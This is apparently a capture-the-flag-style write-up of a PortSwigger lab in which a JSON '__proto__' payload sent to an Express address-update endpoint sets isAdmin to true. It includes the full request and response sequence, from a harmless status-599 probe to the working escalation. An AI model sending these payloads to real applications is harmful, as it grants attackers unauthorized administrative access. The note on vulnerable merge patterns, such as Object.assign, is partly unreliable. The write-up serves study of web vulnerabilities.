PortSwigger — 2026.01.10

Privilege Escalation via Server-Side Prototype Pollution

PortSwigger Server-Side Prototype Pollution (privilege escalation) medium

Platform: PortSwigger Web Security Academy Vulnerability: Server-side Prototype Pollution -> Privilege Escalation Difficulty: Practitioner


Overview

Server-side prototype pollution occurs when user-controlled JSON input is merged into objects on the backend without proper sanitization. Unlike client-side pollution which targets DOM gadgets, server-side pollution targets application logic like authorization checks.


Reconnaissance

Technology Stack

  • Backend: Express (Node.js) - identified via X-Powered-By: Express header
  • Endpoint: /my-account/change-address
  • Content-Type: application/json

Functionality

User profile update functionality that accepts JSON body with address fields.


Testing for Pollution (Safe Method)

Before exploiting, tested with a non-destructive property to confirm pollution works without risking server stability.

Test Request

POST /my-account/change-address HTTP/1.1
Host: TARGET.web-security-academy.net
Content-Type: application/json;charset=UTF-8
Cookie: session=rui5TLDBhjb3YXxyY8bvKmjYfErsaiyv

{
    "address_line_1": "Wiener HQ1",
    "address_line_2": "One Wiener Way",
    "city": "Wienerville",
    "postcode": "BU1 1RP",
    "country": "UK",
    "sessionId": "rui5TLDBhjb3YXxyY8bvKmjYfErsaiyv",
    "__proto__": {
        "status": 599
    }
}

Test Response

HTTP/1.1 200 OK
X-Powered-By: Express
Cache-Control: no-store
Content-Type: application/json; charset=utf-8
ETag: W/"d3-wRazsXL+ibJ4OtAoDFNxK7MasNE"
Date: Sat, 10 Jan 2026 00:58:21 GMT
Connection: close
Keep-Alive: timeout=5
X-Frame-Options: SAMEORIGIN
Content-Length: 211

{
    "username": "wiener",
    "firstname": "Peter",
    "lastname": "Wiener",
    "address_line_1": "Wiener HQ1",
    "address_line_2": "One Wiener Way",
    "city": "Wienerville",
    "postcode": "BU1 1RP",
    "country": "UK",
    "isAdmin": false,
    "status": 599
}

Error Validation Request

POST /my-account/change-address HTTP/1.1
Host: TARGET.web-security-academy.net
Content-Type: application/json;charset=UTF-8
Cookie: session=rui5TLDBhjb3YXxyY8bvKmjYfErsaiyv

{"address_line_1":"Wiener HQ1","address_line_2":"One Wiener Way","city":"Wienerville","postcode":BU1 1RP","country":"UK","sessionId":"rui5TLDBhjb3YXxyY8bvKmjYfErsaiyv","__proto__":{"status":599}}

Error Validation Response

{
    "error": {
        "expose": false,
        "statusCode": 599,
        "status": 599,
        "body": "...",
        "type": "entity.parse.failed"
    }
}

The status: 599 appearing in the error response confirms prototype pollution is working - the polluted property is being inherited by error objects.

Why this is safe: Using status with a non-standard code (599) confirms the vulnerability without polluting critical properties like constructor, toString, or application-specific auth properties that could crash the server or lock you out.


Exploitation

Vulnerable Request

POST /my-account/change-address HTTP/1.1
Host: TARGET.web-security-academy.net
Content-Type: application/json;charset=UTF-8
Cookie: session=rui5TLDBhjb3YXxyY8bvKmjYfErsaiyv

{
    "address_line_1": "Wiener HQ1",
    "address_line_2": "One Wiener Way",
    "city": "Wienerville",
    "postcode": "BU1 1RP",
    "country": "UK",
    "sessionId": "rui5TLDBhjb3YXxyY8bvKmjYfErsaiyv",
    "__proto__": {
        "isAdmin": true
    }
}

Response

{
    "username": "wiener",
    "firstname": "Peter",
    "lastname": "Wiener",
    "address_line_1": "Wiener HQ1",
    "address_line_2": "One Wiener Way",
    "city": "Wienerville",
    "postcode": "BU1 1RP",
    "country": "UK",
    "isAdmin": true,
    "status": 599
}

The response confirms isAdmin: true was successfully injected into the user object.


Technical Analysis

Why It Works

  1. Backend uses a vulnerable object merge/extend function on user input
  2. The __proto__ key is not filtered from the JSON input
  3. When merged, it pollutes Object.prototype.isAdmin = true
  4. Subsequent authorization checks inherit this property from the prototype
  5. User gains admin privileges

Common Vulnerable Patterns (Node.js)

// Vulnerable merge patterns
Object.assign(userObj, req.body);           // Vulnerable
_.merge(userObj, req.body);                  // Lodash < 4.17.12
$.extend(true, userObj, req.body);           // jQuery deep extend

Key Learnings

  1. Server-side vs Client-side - Server-side pollution targets application logic (auth, permissions) rather than DOM gadgets
  2. Express/Node.js - Common target due to JavaScript’s prototype chain
  3. JSON parsing - JSON.parse() preserves __proto__ keys by default
  4. Detection - Look for JSON endpoints that merge user input into objects
  5. Impact - Direct privilege escalation without needing to find gadgets

References

  • PortSwigger Server-side Prototype Pollution: https://portswigger.net/web-security/prototype-pollution/server-side
#prototype-pollution #server-side #express #nodejs #privilege-escalation #portswigger #webapp